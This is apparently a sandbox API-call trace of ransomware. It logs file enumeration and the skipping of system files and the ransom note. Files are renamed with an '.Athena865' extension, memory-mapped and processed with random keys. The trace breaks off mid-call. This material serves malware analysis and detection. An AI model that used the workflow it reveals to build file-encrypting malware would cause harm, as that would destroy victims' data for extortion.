CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.452] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3792) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.453] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.453] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.454] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11d0, lpName=0x0) returned 0x154 [0116.455] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11d0) returned 0x100000 [0116.456] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.457] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.457] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.457] CloseHandle (hObject=0x154) returned 1 [0116.458] CloseHandle (hObject=0x17c) returned 1 [0116.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.458] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2=".") returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="..") returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="windows") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgr") returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="temp") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="pagefile.sys") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="boot") returned 1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="ids.txt") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.dat") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="perflogs") returned -1 [0116.458] lstrcmpiW (lpString1="Garden.htm", lpString2="MSBuild") returned -1 [0116.458] lstrlenW (lpString="Garden.htm") returned 10 [0116.458] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm" [0116.458] lstrlenW (lpString="Garden.htm") returned 10 [0116.458] lstrlenW (lpString="Athena865") returned 9 [0116.459] lstrcmpiW (lpString1="arden.htm", lpString2="Athena865") returned -1 [0116.459] lstrlenW (lpString=".dll") returned 4 [0116.459] lstrcmpiW (lpString1="Garden.htm", lpString2=".dll") returned 1 [0116.459] lstrlenW (lpString=".lnk") returned 4 [0116.459] lstrcmpiW (lpString1="Garden.htm", lpString2=".lnk") returned 1 [0116.459] lstrlenW (lpString=".ini") returned 4 [0116.459] lstrcmpiW (lpString1="Garden.htm", lpString2=".ini") returned 1 [0116.459] lstrlenW (lpString=".sys") returned 4 [0116.459] lstrcmpiW (lpString1="Garden.htm", lpString2=".sys") returned 1 [0116.459] lstrlenW (lpString="Garden.htm") returned 10 [0116.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.Athena865") returned 78 [0116.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.athena865"), dwFlags=0x1) returned 1 [0116.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.460] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=231) returned 1 [0116.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.460] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.461] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.461] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.461] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.463] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.465] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.465] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.466] CloseHandle (hObject=0x154) returned 1 [0116.466] CloseHandle (hObject=0x17c) returned 1 [0116.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.466] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2=".") returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="..") returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="windows") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgr") returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="temp") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="pagefile.sys") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="boot") returned 1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="ids.txt") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.dat") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="perflogs") returned -1 [0116.466] lstrcmpiW (lpString1="Garden.jpg", lpString2="MSBuild") returned -1 [0116.466] lstrlenW (lpString="Garden.jpg") returned 10 [0116.466] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg" [0116.467] lstrlenW (lpString="Garden.jpg") returned 10 [0116.467] lstrlenW (lpString="Athena865") returned 9 [0116.467] lstrcmpiW (lpString1="arden.jpg", lpString2="Athena865") returned -1 [0116.467] lstrlenW (lpString=".dll") returned 4 [0116.467] lstrcmpiW (lpString1="Garden.jpg", lpString2=".dll") returned 1 [0116.467] lstrlenW (lpString=".lnk") returned 4 [0116.467] lstrcmpiW (lpString1="Garden.jpg", lpString2=".lnk") returned 1 [0116.467] lstrlenW (lpString=".ini") returned 4 [0116.467] lstrcmpiW (lpString1="Garden.jpg", lpString2=".ini") returned 1 [0116.467] lstrlenW (lpString=".sys") returned 4 [0116.467] lstrcmpiW (lpString1="Garden.jpg", lpString2=".sys") returned 1 [0116.467] lstrlenW (lpString="Garden.jpg") returned 10 [0116.467] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.Athena865") returned 78 [0116.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.athena865"), dwFlags=0x1) returned 1 [0116.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.468] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23871) returned 1 [0116.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.468] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.469] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.469] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.469] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6040, lpName=0x0) returned 0x154 [0116.471] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6040) returned 0x100000 [0116.472] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.473] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.473] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.474] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.474] CloseHandle (hObject=0x154) returned 1 [0116.474] CloseHandle (hObject=0x17c) returned 1 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.474] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0116.474] lstrcmpiW (lpString1="Genko_1.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.474] lstrcmpiW (lpString1="Genko_1.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".") returned 1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="..") returned 1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="windows") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootmgr") returned 1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="temp") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="pagefile.sys") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="boot") returned 1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ids.txt") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntuser.dat") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="perflogs") returned -1 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2="MSBuild") returned -1 [0116.475] lstrlenW (lpString="Genko_1.emf") returned 11 [0116.475] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Genko_1.emf" | out: lpString1="Genko_1.emf") returned="Genko_1.emf" [0116.475] lstrlenW (lpString="Genko_1.emf") returned 11 [0116.475] lstrlenW (lpString="Athena865") returned 9 [0116.475] lstrcmpiW (lpString1="nko_1.emf", lpString2="Athena865") returned 1 [0116.475] lstrlenW (lpString=".dll") returned 4 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".dll") returned 1 [0116.475] lstrlenW (lpString=".lnk") returned 4 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".lnk") returned 1 [0116.475] lstrlenW (lpString=".ini") returned 4 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".ini") returned 1 [0116.475] lstrlenW (lpString=".sys") returned 4 [0116.475] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".sys") returned 1 [0116.475] lstrlenW (lpString="Genko_1.emf") returned 11 [0116.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.Athena865") returned 79 [0116.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.athena865"), dwFlags=0x1) returned 1 [0116.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.476] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5524) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.477] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.478] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.478] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.478] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18a0, lpName=0x0) returned 0x154 [0116.479] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18a0) returned 0x100000 [0116.480] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.481] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.481] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.481] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.481] CloseHandle (hObject=0x154) returned 1 [0116.482] CloseHandle (hObject=0x17c) returned 1 [0116.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.482] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".") returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="..") returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="windows") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootmgr") returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="temp") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="pagefile.sys") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="boot") returned 1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ids.txt") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ntuser.dat") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="perflogs") returned -1 [0116.482] lstrcmpiW (lpString1="Genko_2.emf", lpString2="MSBuild") returned -1 [0116.482] lstrlenW (lpString="Genko_2.emf") returned 11 [0116.482] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Genko_2.emf" | out: lpString1="Genko_2.emf") returned="Genko_2.emf" [0116.482] lstrlenW (lpString="Genko_2.emf") returned 11 [0116.482] lstrlenW (lpString="Athena865") returned 9 [0116.482] lstrcmpiW (lpString1="nko_2.emf", lpString2="Athena865") returned 1 [0116.482] lstrlenW (lpString=".dll") returned 4 [0116.483] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".dll") returned 1 [0116.483] lstrlenW (lpString=".lnk") returned 4 [0116.483] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".lnk") returned 1 [0116.483] lstrlenW (lpString=".ini") returned 4 [0116.483] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".ini") returned 1 [0116.483] lstrlenW (lpString=".sys") returned 4 [0116.483] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".sys") returned 1 [0116.483] lstrlenW (lpString="Genko_2.emf") returned 11 [0116.483] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.Athena865") returned 79 [0116.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.athena865"), dwFlags=0x1) returned 1 [0116.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.484] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: 